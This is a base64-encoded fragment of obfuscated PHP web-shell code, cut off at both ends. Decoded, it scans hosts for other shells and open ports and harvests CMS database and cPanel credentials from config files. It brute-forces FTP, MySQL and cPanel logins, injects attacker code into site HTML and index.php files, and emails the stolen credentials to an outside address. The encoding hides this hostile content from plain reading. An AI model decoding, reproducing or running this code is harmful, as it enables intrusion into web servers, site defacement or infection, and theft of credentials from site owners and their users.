gic2hhY3Rpb24iLGFycmF5KCJ2aWV3Ij0+ejl5KCIyODQiKSwidmlld2FsbCI9Pno5eSgiMjg1IiksIm93biI9Pno5eSgiMjg2IiksIm93bmFsbCI9Pno5eSgiMjg3IikpLCI1IiwxKS4iOiIuejNtKCJzaHJlY3Vyc2l2ZSIsJHJlY19hcnIsIjEiLDEpLno4Yih6OXkoIjQzNiIpLCI3IikpKS4gejd1KHo1dCh6OXkoIjI4MyIpKS56OWMoejV5KCJzaHBhdGgiLCRkLCIwIikpKS4gejlsKCkuIHoxMHEoKS4gejZzKCkuIHo3ZigpLno3aignJywnNDYnKS4gejZzKCkuIHo5bSgnMicpLiB6NXgoYXJyYXkoImFjdCI9PiJ0b29scyIsImQiLCJwc2NhbiI9PiIxIiksejd1KHo1dCh6OXkoIjI3OCIpKS56OWMoejZ1KCJwc2NpcCIsJHBzY2lwLCI0IikuIjoiLno2dSgicHNjcHMiLCRwc2NwcywnMScpLiItIi56NnUoInBzY3BlIiwkcHNjcGUsJzEnKS56OGIoejl5KCIyNzkiKSwnNycpKSkpLiB6MTBxKCkuIHo2cygpLiB6N2YoKS4gejd5KCkuIHoxMHEoKTsgaWYoQGlzc2V0KCRzaGVsbGh1bnQpJiYkc2hlbGxodW50KXsgJGZwYXRocz0kdHBhdGhzPSRzcGF0aHM9JGdsb2I9JHNoZWxscz1hcnJheSgpOyAkdHBhdGg9Jyc7ICR0cGF0aHNbXT0nJzsgaWYoQGlzX251bWVyaWMoJHNocmVjdXJzaXZlKSl7IGZvcigkaT0wOyRpPCRzaHJlY3Vyc2l2ZTskaSsrKXsgJHRwYXRoLj0nKi8nOyAkdHBhdGhzW109JHRwYXRoOyB9IH0gZWxzZSB7ICR0cGF0aHNbXT0nKi8nOyB9IGZvcmVhY2goQGFycmF5X3VuaXF1ZSgkdHBhdGhzKSBhcyAkdHBhdGgpeyAkZnBhdGhzW109JHRwYXRoLiIqLnBocCI7IH0gZm9yZWFjaChAYXJyYXlfdW5pcXVlKCRmcGF0aHMpIGFzICRmcGF0aCl7ICRzcGF0aHNbXT16MWsoJHNocGF0aCkuJGZwYXRoOyB9IHVuc2V0KCRmcGF0aHMpOyB1bnNldCgkdHBhdGhzKTsgZm9yZWFjaCgkc3BhdGhzIGFzICRzcGF0aCl7ICR0Z2xvYj1AZ2xvYigkc3BhdGgpOyBpZihAaXNfYXJyYXkoJHRnbG9iKSYmQGNvdW50KCR0Z2xvYik+MCl7IGZvcmVhY2goJHRnbG9iIGFzICR0ZmlsZSl7IGlmKCFAaW5fYXJyYXkoJHRmaWxlLCRnbG9iKSYmKEByZWFscGF0aCgkdGZpbGUpIT1AcmVhbHBhdGgoX19GSUxFX18pKSkgJGdsb2JbXT0kdGZpbGU7IH0gJGdsb2I9QGFycmF5X3VuaXF1ZSgkZ2xvYik7IH0gfSB1bnNldCgkc3BhdGhzKTsgaWYoQGNvdW50KCRnbG9iKT4wKXsgJHZpZXdhbGw9JHJjb3duPTA7IHN3aXRjaCgkc2hhY3Rpb24peyBjYXNlICd2aWV3JzogJHZpZXdhbGw9JHJjb3duPTA7IGJyZWFrOyBjYXNlICd2aWV3YWxsJzogJHZpZXdhbGw9MTsgJHJjb3duPTA7IGJyZWFrOyBjYXNlICdvd24nOiAkdmlld2FsbD0wOyAkcmNvd249MTsgYnJlYWs7IGNhc2UgJ293bmFsbCc6ICR2aWV3YWxsPSRyY293bj0xOyBicmVhazsgZGVmYXVsdDogJHZpZXdhbGw9JHJjb3duPTA7IGJyZWFrOyB9IGZvcmVhY2goJGdsb2IgYXMgJHRtcCl7IGlmKCgkdHR5cGU9ejJyKCR0bXAsJHZpZXdhbGwsJHJjb3duKSkhPT1mYWxzZSl7ICRzaGVsbHNbJHRtcF09JHR0eXBlOyB9IH0gfSBpZihAY291bnQoJHNoZWxscyk+MCl7IGlmKCgkd3d3ZGlyPXozbigpKSE9PWZhbHNlKXsgJHVybD16OHUoKTsgJHVybF9hPUBwYXJzZV91cmwoJHVybCk7IGlmKEBpc3NldCgkdXJsX2FbImhvc3QiXSkpeyAkc2hlbGxob3N0PSR1cmxfYVsiaG9zdCJdOyB9IH0gJGV4dGVybmFsPTE7IGVjaG8gejNxKHo5eSgiMjg4IiksIjEiKS56OW0oIjIiKS56N3UoejljKHo5eSgiMjkyIiksIjEzIiwiMiIpLno5Yyh6OXkoIjI5MyIpLCIxMyIpLno5Yyh6OXkoIjI5NCIpLCIxMyIpLno5Yyh6OXkoIjI5NSIpLCIxMyIsIjMiKSk7ICR0cj0wOyBmb3JlYWNoKCRzaGVsbHMgYXMgJHNoZWxsPT4kc2hlbGx0eXBlKXsgJHd3d2xpbms9Ii0iOyBpZihAaXNzZXQoJHNoZWxsaG9zdCkmJkBzdHJzdHIoJHNoZWxsLCR3d3dkaXIpIT09ZmFsc2UpeyAkd3d3bGluaz16MTB0KCdodHRwOi8vJy4kc2hlbGxob3N0LicvJy5Ac3Vic3RyKCRzaGVsbCwgQHN0cmxlbigkd3d3ZGlyKSkuJyInLHo5eSgiMjk2IiksIjEiLDEpOyB9IGVjaG8gejd1KHo5Yyh6MmwoJHNoZWxsKSwiMTQiLCIyIikuejljKCRzaGVsbHR5cGUsIjE0IikuejljKCR3d3dsaW5rLCIxNCIpLno5Yyh6MG8oJHNoZWxsLCIxIikuejV4KGFycmF5KCJhY3QiPT4iZiIsImZ0Ij0+InJjb3duIiwiZCI9PnozYSgkc2hlbGwpLCJmIj0+ejJsKCRzaGVsbCkpLHo4Yih6OXkoIjI5NyIpLCIxOCIpLCIxIiksIjE0IiwiMyIpLCgkdHIlMj8nMCc6JzEnKSk7ICR0cisrOyB9IGVjaG8gejEwcSgpOyB9IH0gaWYoJHN0YXJ0c2Nhbil7ICRwc2Nhbj16OGooJHBzY2lwLCRwc2NwcywkcHNjcGUpOyBpZihAIWVtcHR5KCRwc2NhbikpeyBlY2hvIHozcSh6OXkoIjI4OSIpKTsgZWNobyB6NnMoKS56MTB3KHo3dSh6NmwoejV3KCcnLCcxJykuJHBzY2FuLno1cSgpKSksJzInKS56NnMoKTsgfSB9IGVjaG8gejNxKGFycmF5KHo5eSgiMjk4Iiksejl5KCIzMDkiKSksIjQ2Iik7IGVjaG8gejltKDIpLiB6N28oKS4gejdqKCcnLCc0JykuejZzKCkuIHo5bSgnMicpLiB6N2woKS56OXYoImNwZmluZCIsIjEiKS56OXYoImFjdCIsInRvb2xzIikuejl2KCJkIikuIHo3dSh6NXQoejl5KCIyOTkiKSkuejljKHo1eSgiY3Bob3N0IiwiMTI3LjAuMC4xIiwiNSIpLiI6Ii56NXkoImNwdXNlciIsInJvb3QiLCI0IikuIjoiLnozbSgiY3BzZXJ2aWNlIiwkYXZhaWxhYmxlX2FyciwiMSIsMSkpKS4gejd1KHo1dCh6OXkoIjMwMCIpKS56OWMoejV5KCJjcGZpbGVzIiwiKmNvbmYqLnBocDsqZGIqLnBocDsiLCI1IikuIjoiLnozbSgiY3BtZXRob2QiLCRhcnJfbWV0aG9kLCI0IiwxKS4iOiIuejNtKCJjcHJlY3Vyc2l2ZSIsJHJlY19hcnIsIjEiLDEpKSkuIHo3dSh6NXQoejl5KCIzMDEiKSkuejljKHo1eSgiY3BkaXIiLCRkLCIwIikpKS4gKCRibWFpbD96N3UoejV0KHo5eSgiMzAyIikpLno5Yyh6NXkoImNwX2VtYWlsIiwiIiwnMicpLno5ZigiY3BfbG9nIikpKTonJykuIHo3dSh6NXQoejl4KCkpLiB6OWMoejhiKHo5eSgiMzA3IiksIjciKS56OXgoKS56NXUoImNwcGFzc2ZpbGUiLHo5eSgiMzAzIiksImNwcGFzc2ZpbGUiKSkpLiB6OWwoKS4gejEwcSgpLiB6NnMoKS4gejdmKCkuejdqKCcnLCc0NicpLiB6NnMoKS4gejltKCcyJykuIHo3bCgpLno5digiaW5qZWN0IiwiMSIpLno5digiYWN0IiwidG9vbHMiKS56OXYoImQiKS4gejd1KHo1dCh6OXkoIjMxMCIpKS56OWMoejV5KCJpbmpmaWxlcyIsIiouaHRtbDtpbmRleC5waHA7IiwiNSIpLiI6Ii56M20oImluam1ldGhvZCIsJGlual9tZXRob2QsIjQiLDEpLiI6Ii56M20oImluanJlY3Vyc2l2ZSIsJHJlY19hcnIsIjEiLDEpKSkuIHo3dSh6NXQoejl5KCIzMTEiKSkuejljKHo1eSgiaW5qZGlyIiwkZCwiMCIpKSkuIHo5ZCh6NXQoejl5KCIzMTIiKSkuejljKHo1dygiaW5qY29kZSIsIjYiKS4oQGlzc2V0KCRpbmpjb2RlKT9AaHRtbHNwZWNpYWxjaGFycygkaW5qY29kZSk6JycpLno1cSgpKSkuIHo3dSh6NXQoejl4KCkpLiB6OWMoejhiKHo5eSgiMzEzIiksIjciKSkpLiB6OWwoKS4gejEwcSgpLiB6NnMoKS4gejdmKCkuIHo3eSgpLiB6MTBxKCk7IGlmKEBpc3NldCgkaW5qZWN0KSYmJGluamVjdCl7ICRmcGF0aHM9JHRwYXRocz0kc3BhdGhzPSRnbG9iPWFycmF5KCk7ICRmYXJyPUBleHBsb2RlKCI7IiwkaW5qZmlsZXMpOyAkdHBhdGg9Jyc7ICR0cGF0aHNbXT0nJzsgaWYoQGlzX251bWVyaWMoJGluanJlY3Vyc2l2ZSkpeyBmb3IoJGk9MDskaTwkaW5qcmVjdXJzaXZlOyRpKyspeyAkdHBhdGguPScqLyc7ICR0cGF0aHNbXT0kdHBhdGg7IH0gfSBlbHNlIHsgJHRwYXRoc1tdPScqLyc7IH0gZm9yZWFjaChAYXJyYXlfdW5pcXVlKCR0cGF0aHMpIGFzICR0cGF0aCl7IGZvcmVhY2goQGFycmF5X3VuaXF1ZSgkZmFycikgYXMgJGZwYXRoKXsgJGZwYXRoPUB0cmltKCRmcGF0aCk7IGlmKCFAZW1wdHkoJGZwYXRoKSl7ICRmcGF0aHNbXT0kdHBhdGguJGZwYXRoOyB9IH0gfSBmb3JlYWNoKEBhcnJheV91bmlxdWUoJGZwYXRocykgYXMgJGZwYXRoKXsgJHNwYXRoc1tdPXoxaygkaW5qZGlyKS4kZnBhdGg7IH0gdW5zZXQoJGZwYXRocyk7IHVuc2V0KCR0cGF0aHMpOyBmb3JlYWNoKCRzcGF0aHMgYXMgJHNwYXRoKXsgJHRnbG9iPUBnbG9iKCRzcGF0aCk7IGlmKEBjb3VudCgkdGdsb2IpPjApeyBmb3JlYWNoKCR0Z2xvYiBhcyAkdGZpbGUpeyBpZighQGluX2FycmF5KCR0ZmlsZSwkZ2xvYikpICRnbG9iW109JHRmaWxlOyB9ICRnbG9iPUBhcnJheV91bmlxdWUoJGdsb2IpOyB9IH0gdW5zZXQoJHNwYXRocyk7IGlmKEBjb3VudCgkZ2xvYik+MCl7ICRpPTA7IGZvcmVhY2goJGdsb2IgYXMgJGZpbGUpeyBpZih6M3YoJGluamNvZGUsJGluam1ldGhvZCwkZmlsZSkpeyBpZigkaT09MCl7IGVjaG8gejNxKHo5eSgiMzE0IikpLno2cygpLno5bSgiMiIpLno2ZigpLno2cSgpLno1dygnJywnMScpOyB6NW8oKTsgfSBlY2hvICRmaWxlLiJcclxuIjsgJGkrKzsgfSB9IGlmKCRpPjApIGVjaG8gejVxKCkuejdmKCkuejd5KCkuejEwcSgpLno2cygpOyB9IH0gaWYoQGlzc2V0KCRjcGZpbmQpJiYkY3BmaW5kJiYoIUBlbXB0eSgkY3B1c2VyKXx8JGNwbWV0aG9kPT0iY3BwYXNzd2QiKSl7IGVjaG8gejNxKHo5eSgiMzA4IikpLno2cygpOyBlY2hvIHo5bSgnMicpLno3bygpLno2cSgpLno1dygiIiwiMSIpOyB6NW8oKTsgJGZwYXRocz0kdHBhdGhzPSRzcGF0aHM9JGdsb2I9YXJyYXkoKTsgJGZhcnI9QGV4cGxvZGUoIjsiLCRjcGZpbGVzKTsgJHRwYXRoPScnOyAkdHBhdGhzW109Jyc7IGlmKEBpc19udW1lcmljKCRjcHJlY3Vyc2l2ZSkpeyBmb3IoJGk9MDskaTwkY3ByZWN1cnNpdmU7JGkrKyl7ICR0cGF0aC49JyovJzsgJHRwYXRoc1tdPSR0cGF0aDsgfSB9IGVsc2UgeyAkdHBhdGhzW109JyovJzsgfSBmb3JlYWNoKEBhcnJheV91bmlxdWUoJHRwYXRocykgYXMgJHRwYXRoKXsgZm9yZWFjaChAYXJyYXlfdW5pcXVlKCRmYXJyKSBhcyAkZnBhdGgpeyAkZnBhdGg9QHRyaW0oJGZwYXRoKTsgaWYoIUBlbXB0eSgkZnBhdGgpKXsgJGZwYXRoc1tdPSR0cGF0aC4kZnBhdGg7IH0gfSB9IHN3aXRjaCgkY3BtZXRob2QpeyBjYXNlICdjcGRpcic6ICRzcGF0aHNbJGNwdXNlcl09YXJyYXkoKTsgZm9yZWFjaChAYXJyYXlfdW5pcXVlKCRmcGF0aHMpIGFzICRmcGF0aCl7ICRzcGF0aHNbJGNwdXNlcl1bXT16MWsoJGNwZGlyKS4kZnBhdGg7IH0gYnJlYWs7IGNhc2UgJ2NwZG9jcm9vdCc6ICRzcGF0aHNbJGNwdXNlcl09YXJyYXkoKTsgZm9yZWFjaChAYXJyYXlfdW5pcXVlKCRmcGF0aHMpIGFzICRmcGF0aCl7ICRzcGF0aHNbJGNwdXNlcl1bXT16MWsoJHd3d2RpcikuJGZwYXRoOyB9IGJyZWFrOyBjYXNlICdjcHBhc3N3ZCc6ICR1YXJyPXo4bCgxKTsgaWYoQGNvdW50KCR1YXJyKT4wKXsgZm9yZWFjaCgkdWFyciBhcyAkdWs9PiRhcnIpeyBpZigkYXJyWzFdIT0nLycmJiFAcHJlZ19tYXRjaCgnI14oL3Zhci9ydW58L3Zhci9sb2d8L3Zhci9jYWNoZXwvdmFyL21haWx8L3Zhci9jYWNoZXwvdmFyL2JhY2t1cHwvdXNyL2dhbWVzfC9saWJ8L3Zhci9saWJ8L3Zhci90bXB8L3RtcHwvZGV2fC9wcm9jfC9zYmlufC91c3Ivc2JpbnwvdXNyL2xvY2FsL3NiaW58L2JpbnwvdXNyL2JpbnwvdXNyL2xvY2FsL2JpbikjJywkYXJyWzFdKSYmejRqKCRhcnJbMV0pKXsgJHNwYXRoc1skYXJyWzBdXT1hcnJheSgpOyBmb3JlYWNoKEBhcnJheV91bmlxdWUoJGZwYXRocykgYXMgJGZwYXRoKXsgJHNwYXRoc1skYXJyWzBdXVtdPXoxaygkYXJyWzFdKS4kZnBhdGg7IH0gfSB9IH0gdW5zZXQoJHVhcnIpOyBicmVhazsgZGVmYXVsdDogYnJlYWs7IH0gdW5zZXQoJGZwYXRocyk7IHVuc2V0KCR0cGF0aHMpOyBmb3JlYWNoKCRzcGF0aHMgYXMgJHVzZXI9PiRzcGF0aF9hcnIpeyBmb3JlYWNoKCRzcGF0aF9hcnIgYXMgJHNwYXRoKXsgJHRnbG9iPUBnbG9iKCRzcGF0aCk7IGlmKEBpc19hcnJheSgkdGdsb2IpJiZAY291bnQoJHRnbG9iKT4wKXsgaWYoIUBpc3NldCgkZ2xvYlskdXNlcl0pKSAkZ2xvYlskdXNlcl09YXJyYXkoKTsgZm9yZWFjaCgkdGdsb2IgYXMgJHRmaWxlKXsgaWYoIUBpbl9hcnJheSgkdGZpbGUsJGdsb2JbJHVzZXJdKSkgJGdsb2JbJHVzZXJdW109JHRmaWxlOyB9ICRnbG9iWyR1c2VyXT1AYXJyYXlfdW5pcXVlKCRnbG9iWyR1c2VyXSk7IH0gfSB9IHVuc2V0KCRzcGF0aHMpOyBpZihAY291bnQoJGdsb2IpPjApeyBmb3JlYWNoKCRnbG9iIGFzICR1c2VyPT4kZmlsZV9hcnIpeyBpZihAY291bnQoJGZpbGVfYXJyKT4wKXsgZm9yZWFjaCgkZmlsZV9hcnIgYXMgJHRmaWxlKXsgejJwKCR0ZmlsZSwkdXNlcik7IH0gfSB9IH0gJGxvZz0nJzsgJGZvdW5kPTA7IGlmKEBpc3NldCgkcGFzc2FycmF5KSYmQGNvdW50KCRwYXNzYXJyYXkpPjApeyBmb3JlYWNoKCRwYXNzYXJyYXkgYXMgJHVzZXI9PiRwYXNzd29yZHMpeyBpZihAY291bnQoJHBhc3N3b3Jkcyk+MCl7IGZvcmVhY2goJHBhc3N3b3JkcyBhcyAkcGFzcyl7IGlmKEBpc3NldCgkY3BwYXNzZmlsZSkmJiRjcHBhc3NmaWxlKXsgZWNobyAiJHVzZXIgJHBhc3NcclxuIjsgfSBlbHNlIHsgaWYoIUBpc3NldCgkc3RvcCkpICRzdG9wPTA7IGlmKCRjcHNlcnZpY2U9PSJGVFAiJiYkYmZ0cCYmISRzdG9wKXsgJHRlc3Q9ejNsKCRjcGhvc3QsJHVzZXIsJHBhc3MsMjEsMyk7IGlmKCR0ZXN0PT0iZmFpbGVkIil7ICRzdG9wPTE7IH0gZWxzZWlmKCR0ZXN0PT0idmFsaWQiKXsgJGZvdW5kKys7ICR0bXAgPSAiaG9zdDogJGNwaG9zdFxyXG4iOyAkdG1wIC49ICJ1c2VyOiAkdXNlclxyXG4iOyAkdG1wIC49ICJwYXNzOiAkcGFzc1xyXG4iOyAkdG1wIC49ICJzZXJ2aWNlOiAkY3BzZXJ2aWNlXHJcblxyXG4iOyBlY2hvICR0bXA7ICRsb2cuPSR0bXA7IH0gfSBlbHNlIHsgaWYoejNoKCRjcGhvc3QsJHVzZXIsJHBhc3MsJycsJGNwc2VydmljZSk9PSJ2YWxpZCIpeyAkZm91bmQrKzsgJHRtcCA9ICJob3N0OiAkY3Bob3N0XHJcbiI7ICR0bXAgLj0gInVzZXI6ICR1c2VyXHJcbiI7ICR0bXAgLj0gInBhc3M6ICRwYXNzXHJcbiI7ICR0bXAgLj0gInNlcnZpY2U6ICRjcHNlcnZpY2VcclxuXHJcbiI7IGVjaG8gJHRtcDsgJGxvZy49JHRtcDsgfSB9IH0gfSB9IH0gfSBpZigkY3BfbG9nPT0iMSImJiRmb3VuZD4wJiYkYm1haWwpeyBAbWFpbCgkY3BfZW1haWwsIiRjcHNlcnZpY2V8JGNwaG9zdCIsJGxvZyk7IH0gZWNobyB6NXEoKS56N3koKS56N2YoKS56MTBxKCkuejZzKCk7IH0gJGFycl9jZmdzPWFycmF5KCcnPT4iU2VsZWN0IFNvZnR3YXJlIiwiam9vbWxhIj0+Ikpvb21sYSIsIm9wZW5jYXJ0Ij0+Ik9wZW5jYXJ0Iiwib3NjIj0+Ik9zY29tbWVyY2UiLCJwaW5uYWNsZWNhcnQiPT4iUGlubmFjbGVjYXJ0Iiwic3F1aXJyZWxjYXJ0Ij0+IlNxdWlycmVsY2FydCIsIndvcmRwcmVzcyI9PiJXb3JkcHJlc3MiLCJ4Y2FydCI9PiJYLWNhcnQiLCJ6ZW5jYXJ0Ij0+Ilplbi1jYXJ0IiwiYWxsIj0+IkFsbCBvZiBhYm92ZSIpOyBpZihAaXNzZXQoJHNxbGZpbmQpJiYkc3FsZmluZCYmQGlzc2V0KCRkdmRlZmluZWQpJiYhQGVtcHR5KCRkdmRlZmluZWQpJiZAaXNzZXQoJGR2cGFzc3dkKSYmIUBlbXB0eSgkZHZwYXNzd2QpKXsgJGR2Y2Zncz0iblZya0EwbUZSRFlDSHVuWjNjTjltTHo1cE5TaHNtMHI4TDRkcm1iMEZUTVNQbmZJcUE0aitVcTZnZkxZdWxkcnRzTU1OVGdLNVVvWjNWaVNaNWpuZTd0ZUZ5bmdNc3RkTnFqUkJyMU5TRFpnT25oa1QwNUhtMjVpa09hb29FdmE5V2M5NjVWZGNiVVlwbnFzOHhxNVZEYUtlQnBSa1MxVkF4YUxUS09yODk5cGZNMXBtL3Y3UmRjdGs0SDBBNGJYU3huNUx1cDVIQWRqamwxRXpvY1FYYXI2V3NZdW16aURZRC9FT0JnbUJpTlZsLytrR3dmUHM2NHZRZnpWdXR0ZmNZN3RpenplblBtTUpnRThCR2oyQVp1WFd0eG5sM1VPNENBUEJPZHR3a3J2K1B3TXNZaGZma0V5aDE3ZUMzQnVmcnFEa1dBUWhFQ1VoczhkbnAxUjBnNS9CeXVKTWViVE9lOXF3cEREaDVnb1hnWWh0alR0aFNFdTRYU2hCZEtOSGcrdmUvNC9RaGlKYjBoU3E4ZXpPWkhDbVcxUFovMGd5cnl3WngyYXVjR0plQ1p4M214bmZqaUtBR0hjbkphaUZEVjA5ZFhaUnV2ZkdlNlNHaVBxODRiRXJaVGhESE9SUnM1Rno4Tml2VXhqOW0rV1c3UVJ0YWs4RU9VaUljVGxiUElQODVYSVdvYjIxVjN2ODNmQUFPQXI5b0pVSko4Z3BkZnFPTEl5SnlmYTVLdmFzMk8xREhudnFvUzZHc0VHR3JmbmxYSG9UZWl3NDduR2VSNFNvQzdCRlB1MGhNM2huQzRRUFI4anJJN0Q1eFlZTzN3eks0dWhKVTRmNU90OEd1cU5Uc2pFMUxUeXVCcUpiZVk0STV0Y21RTHNGWW1xeUdFUVhQNE5ERXhIN09sQk1LU2xwVmtNRWVMdG91V0RNZGVBaGlZaXlXTTIwankyVkppNXhpUWV2bEJmRy9icmlLRnhtQ3dOZG1GMkpleHhMNnFsUkduK1JkeDlWWUdGb3QycnhSN3kySlRlVml0ZW4vUU5jaTFMNHhBV29IYVQxRU1DZDB6eFAvWllSY0Jndnp0NDMyNk5HMVdCc3BOWTZTZVNuYkJRdlBvTWNybk9qWEhyQVJ5MU55ekFVSEdodFdlQm9GQWxTaHVTQTJjNGNxR0VRVHJzMVBQS3hwVGJCYWN1TkxNbW0rd3ZNTnZCaGR0MkhUZlpUamRZeUVuMHFFZk9WUFRXYjhMV1BLV3hBL3pJSjVPWWVWSDY5ZzBiNENQTmtuSGVzNHlOWTZEN1J4SzkwNUVZMERNTUkxaDhIWTFuN3I3WnZXZDg0TzNWQmY5MDR2UVVJTFJBL3ZoeVJiN29LVUh0dHlDcnVab0c0bGdBUUdnNzhQSGFZdWd0YzlTRnU3UHE0MUNuIjsgJGRkY2Zncz16cmM0Ojp6ZGVjKEBtZDUoJGR2cGFzc3dkKSwgQGJhc2U2NF9kZWNvZGUoJGR2Y2ZncykpOyBpZigkZHZkZWZpbmVkPT0iYWxsIil7ICRhcnJfbWFzcz1hcnJheSgpOyAkYXJyX21hc3NfcGF0aHM9YXJyYXkoKTsgZm9yZWFjaCgkYXJyX2NmZ3MgYXMgJHRjZmc9PiR0c29mdCl7IGlmKCR0Y2ZnIT0nJyYmJHRjZmchPSJhbGwiKXsgJHRkZGNmZz1AZXhwbG9kZSgifCIuJHRjZmcuInwiLCRkZGNmZ3MpOyAkdGRkY2ZnPUBzdWJzdHIoJHRkZGNmZ1sxXSwwLEBzdHJwb3MoJHRkZGNmZ1sxXSwifCIpKTsgQGxpc3QoJHRkdnVzZXIsJHRkdHVzZXIsJHRkdnBhc3MsJHRkdHBhc3MsJHRkdmJhc2UsJHRkdGJhc2UsJHRkdmhvc3QsJHRkdGhvc3QsJHRkdmZpbGVzLCk9QGV4cGxvZGUoIiwiLCR0ZGRjZmcpOyAkYXJyX21hc3NbJHRzb2Z0XT1hcnJheSgkdGR2dXNlciwkdGR0dXNlciwkdGR2cGFzcywkdGR0cGFzcywkdGR2YmFzZSwkdGR0YmFzZSwkdGR2aG9zdCwkdGR0aG9zdCk7ICR0ZWZpbGVzPUBleHBsb2RlKCI7IiwkdGR2ZmlsZXMpOyBmb3JlYWNoKCR0ZWZpbGVzIGFzICR0ZWZpbGUpeyAkdGVmaWxlPUB0cmltKCR0ZWZpbGUpOyBpZighQGVtcHR5KCR0ZWZpbGUpJiYhQGluX2FycmF5KCR0ZWZpbGUsJGFycl9tYXNzX3BhdGhzKSkgJGFycl9tYXNzX3BhdGhzW109JHRlZmlsZTsgfSB9IH0gfSBlbHNlIHsgaWYoQHN0cnBvcygkZGRjZmdzLCJ8Ii4kZHZkZWZpbmVkLiJ8IikhPT1mYWxzZSl7ICRkZGNmZz1AZXhwbG9kZSgifCIuJGR2ZGVmaW5lZC4ifCIsJGRkY2Zncyk7ICRkZGNmZz1Ac3Vic3RyKCRkZGNmZ1sxXSwwLEBzdHJwb3MoJGRkY2ZnWzFdLCJ8IikpOyBAbGlzdCgkZHZ1c2VyLCRkdHVzZXIsJGR2cGFzcywkZHRwYXNzLCRkdmJhc2UsJGR0YmFzZSwkZHZob3N0LCRkdGhvc3QsJGR2ZmlsZXMsKT1AZXhwbG9kZSgiLCIsJGRkY2ZnKTsgfSB9IH0gZWNobyB6M3EoYXJyYXkoejl5KCIzMTUiKSx6OXkoIjMzNyIpKSwnNDYnKTsgZWNobyB6OW0oMikuIHo3bygpLiB6N2ooJycsJzQnKS4gejZzKCkuIHo5bSgnMicpLiB6N2woKS56OXYoInNxbGZpbmQiLCIxIikuejl2KCJhY3QiLCJ0b29scyIpLno5digiZCIpLiB6N3UoejV0KHo5eSgiMzE2IikpLno5Yyh6NXkoImR2dXNlciIsIiIsIjUiKS4iOiIuejNtKCJkdHVzZXIiLCRhcnJfdmFycywiNCIsMSkuejl4KCkuejl5KCIzMjgiKSkpLiB6N3UoejV0KHo5eSgiMzE3IikpLno5Yyh6NXkoImR2cGFzcyIsIiIsIjUiKS4iOiIuejNtKCJkdHBhc3MiLCRhcnJfdmFycywiNCIsMSkuejl4KCkuejl5KCIzMjgiKSkpLiB6N3UoejV0KHo5eSgiMzE4IikpLno5Yyh6NXkoImR2YmFzZSIsIiIsIjUiKS4iOiIuejNtKCJkdGJhc2UiLCRhcnJfdmFycywiNCIsMSkuejl4KCkuejl5KCIzMjkiKSkpLiB6N3UoejV0KHo5eSgiMzE5IikpLno5Yyh6NXkoImR2aG9zdCIsIiIsIjUiKS4iOiIuejNtKCJkdGhvc3QiLCRhcnJfdmFycywiNCIsMSkuejl4KCkuejl5KCIzMjkiKSkpLiB6N3UoejV0KHo5eSgiMzIwIikpLno5Yyh6M20oImR2ZGVmaW5lZCIsJGFycl9jZmdzLCI1IiwxKS4iOiIuejV5KCJkdnBhc3N3ZCIsIiIsIjQiKS56OXgoKS4iYW50aS1sYW1lcnogOikiKSkuIHo3dSh6NXQoejl5KCIzMjEiKSkuejljKHo1eSgiZHZmaWxlcyIsIiIsIjUiKS4iOiIuejNtKCJkdmZpbmQiLCRhcnJfZHZmaW5kLCI0IiwxKS4iOiIuejNtKCJkdHJlY3Vyc2l2ZSIsJHJlY19hcnIsIjEiLDEpKSkuIHo3dSh6NXQoejl5KCIzMjIiKSkuejljKHo1eSgiZHZkaXIiLCRkLCIwIikpKS4gKCRibWFpbD96N3UoejV0KHo5eSgiMzAyIikpLno5Yyh6NXkoImR2X2VtYWlsIiwiIiwnMicpLno5ZigiZHZfbG9nIikpKTonJykuIHo3dSh6NXQoejl4KCkpLiB6OWMoejhiKHo5eSgiMzIzIiksIjciKS56OXgoKS56NXUoImR2c3FsdGVzdCIsejl5KCIzMjQiKSwiZHZzcWx0ZXN0IikpKS4gejlsKCkuIHoxMHEoKS4gejZzKCkuIHo3ZigpLno3aignJywnNDYnKS4gejZzKCkuIHo5bSgnMicpLiB6N2woKS56OXYoInN0YXJ0YnJ1dGUiLCIxIikuejl2KCJhY3QiLCJ0b29scyIpLno5digiZCIpLiB6N3UoejV0KHo5eSgiMzM4IikpLno5Yyh6NXkoImJyaCIsIiIsIjQiKS4iOiIuejV5KCJicnAiLCIiLCI2IikuIjoiLnozbSgiYnNlcnZpY2UiLCRhdmFpbGFibGVfYXJyLCI0IiwxKSkpLiB6N3UoejV0KHo5eSgiMzM5IikpLiB6OWMoejV5KCJicnUiLCIiLCc0JykuIjoiLno1eSgiYnJkYiIsIiIsJzUnKSkpLiB6N3UoejV0KHo5eSgiMzQwIikpLiB6OWMoejlnKCJ3b3JkbGlzdCIsJzInKSkpLiB6N3UoejV0KHo5eSgiMzQxIikpLiB6OWMoejNtKCJicm0iLCRicnV0ZV90eXBlLCcyJywxKSkpLiB6N3UoejV0KHo5eSgiMzQyIikpLiB6OWMoejV1KCJicnRlc3QxIiwidXNlcjpyZXN1IiwiYnJ0ZXN0MSIpLno5eCgxKS56NXUoImJydGVzdDIiLCJ1c2VyOnVzZXIxIiwiYnJ0ZXN0MiIpLno5eCgxKS56NXUoImJydGVzdDMiLCJ1c2VyOnVzZXIxMjMiLCJicnRlc3QzIikpKS4gejd1KHo1dCh6OXgoKSkuejljKHo1dSgiYnJ0ZXN0NCIsIlRyYW5zZm9ybSBwYXNzd29yZCB0byBwQDU1dzByZCIsImJydGVzdDQiKSkpLiAoJGJtYWlsP3o3dSh6NXQoejl5KCIzMDIiKSkuejljKHo2dSgiYnJ1dGVfZW1haWwiLCRicnV0ZV9lbWFpbCwnMicpLno5ZigiYnJ1dGVfbG9nIikpKTonJykuIHo3dSh6NXQoejl4KCkpLiB6OWMoejhiKHo5eSgiMzQ2IiksIjciKSkpLiB6OWwoKS4gejEwcSgpLiB6NnMoKS4gejdmKCkuIHo3eSgpLiB6MTBxKCk7IGlmKEBpc3NldCgkc3RhcnRicnV0ZSkmJiRzdGFydGJydXRlKXsgJHN0b3A9MDsgZWNobyB6M3Eoejl5KCIzNDciLCRic2VydmljZSwxKSkuejZzKCk7IGVjaG8gejltKCcyJykuejdvKCkuejZxKCkuejV3KCIiLCIxIik7IHo1bygpOyAkY29uPXRydWU7ICRzaG93PTA7ICRsb2c9IiI7IGlmKCRic2VydmljZT09IkZUUCIpeyAkYnJwPShAcHJlZ19tYXRjaCgiL15bMC05XXsxLDV9JC8iLCRicnApPyRicnA6IjIxIik7IH1lbHNlaWYoJGJzZXJ2aWNlPT0iTXlTUUwiKXsgJGJycD0oQHByZWdfbWF0Y2goIi9eWzAtOV17MSw1fSQvIiwkYnJwKT8kYnJwOiIzMzA2Iik7IH0gaWYoJGJybT09IjEifHwkYnJtPT0iMyIpeyAkZGljdGlvbmFyeT1h